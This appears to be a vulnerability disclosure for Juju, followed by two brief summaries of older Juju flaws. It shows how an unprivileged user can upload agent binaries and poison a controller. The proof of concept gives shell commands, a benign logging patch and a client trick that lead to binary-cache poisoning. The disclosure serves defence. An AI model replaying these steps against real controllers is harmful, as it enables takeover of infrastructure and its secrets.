The authoriser that is used (https://github.com/juju/juju/blame/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/httpcontext.go#L209) only confirms that the logged in user is authenticated and authenticated as a user tag. No other checks are performed.

The toolsUploaderHandler also uses another server func for getting the Mongo state. This also confirms a logged in user but the state that is returned to the caller is scoped to whatever model the requester has asked for. No checks are performed to make sure that the user in question actually has access to this model or the controller. See code here (https://github.com/juju/juju/blob/4e50a28cdde17832aa31634915fbe7442dca6ab3/apiserver/httpcontext.go#L38). We end up here through a few layers of indirection of https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L768

We can also see that when handlers are registered with no model uuid scope in the handler like the controller registration of the tools upload handler, the model uuid gets defaulted to that of the controller model. See (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L690).

PoC This proof of concept was done with the latest tip of the juju/juju 3.6 branch (https://github.com/juju/juju/commit/cd12b4951d657a980e113564bf2ea82f167589fd). Pull this code and work from inside of the root of the code base. It is expected that this security issue applies to 2.9 onwards as well.

Repo steps:

1. Bootstrap a new controller to lxd. This was done with a compiled client from the branch but there is no reason performing this action from latest snap won't produce the same result. juju bootstrap localhost sec-demo

2. Add a new user to the controller. This is the user with no permissions or models that we will prove the problem with. juju add-user poisoner poisoner

3. From step 2 save the registration string that the juju client prints out.

4. We are going to remove the local juju admin credentials and information that was made during bootstrap. We will use this later on for confirming the attack. mv ~/.local/share/juju /tmp/juju-bak

5. Run the juju cli registration command for the new user that was saved from step 3. Set the new password to whatever you wish and then re-enter to login into the controller. After this step we are now logged in as an unprivileged user to the controller.

6. Apply the following patch to the currently checked out juju code base: cat <<EOF | git apply - diff --git a/cmd/jujud/main.go b/cmd/jujud/main.go index f268509a52..1b01a74b66 100644 --- a/cmd/jujud/main.go +++ b/cmd/jujud/main.go @@ -315,6 +315,16 @@ func Main(args []string) int { os.Exit(exiterr) }

+ logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("Got access to the binary") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + var code int commandName := filepath.Base(args[0]) switch commandName { diff --git a/version/version.go b/version/version.go index 2bbc8968c8..40af52f337 100644 --- a/version/version.go +++ b/version/version.go @@ -18,7 +18,7 @@ import ( // The presence and format of this constant is very important. // The debian/rules build recipe uses this value for the version // number of the release package. -const version = "3.6.6" +const version = "3.6.7"

// UserAgentVersion defines a user agent version used for communication for // outside resources. EOF

7. Set bogus model information. To make the sync-agent-binary command work below we need to set a bogus model that is in use by the client. This is done through the local models.yaml file. The uuid featured here does not matter at and can be set to anything that parses as a uuid in juju. This is just to trick the client tooling, the attacker could just manually construct the http request their self to bypass this. cat <<EOF > ~/.local/share/juju/models.yaml controllers: sec-demo: models: admin/controller: uuid: 4dde46dd-a514-491e-8a5f-b908b5310c02 type: iaas branch: "" current-model: admin/controller EOF

8. Next build the changes with make simplestreams. 9. The output of step 9 will provide an export command to run. Please execute this command to point the juju client at your local simple streams cache. 10. Next sync the compiled agent binaries from step 9 to the controller with juju sync-agent-binary --debug --agent-version 3.6.7.

At this stage the controllers agent binary cache has been poisoned and the security issue has been proven.

11. We can now swap back to the administrator user to start forcing binary circulation. mv ~/.local/share/juju /tmp/juju-poison and then mv /tmp/juju-bak ~/.local/share/juju

At this stage the issue can be demonstrated with just a simple juju upgrade-controller and a controller upgrade will kick off. You can also upgrade a model. When I was testing this my upgrade-controller failed to shut down the controller for reasons unrelated to this security issue. I was able to log into the controller and confirm with sha256sum that the controller had downloaded the new binaries and the checksums matched. They were also symlink as the new binaries to run for machine-0. This was under /var/lib/juju/tools on the controller machine.

It would also be possible to affect new machines coming up in a model by repeating the steps above but changing the version to that of the model that you want to be poisoned.

Impact This is a bad vulnerability in my opinion. It allows a user with no permissions to eventually consume an entire juju controller with poisoned binaries and gain access to all of the infrastructure and secrets on that controller. Through model migration it would also be possible to poison other controllers that the user doesn't have access to.

This also requires that an administrator upgrade or migrate aspects of the controller. But a bad actor could affect brand new machines coming up in the system straight away.

Juju before 1.25.12, 2.0.x before 2.0.4, and 2.1.x before 2.1.3 uses a UNIX domain socket without setting appropriate permissions, allowing privilege escalation by users on the system to root.

Juju Core's Joyent provider before version 1.25.5 uploads the user's private ssh key.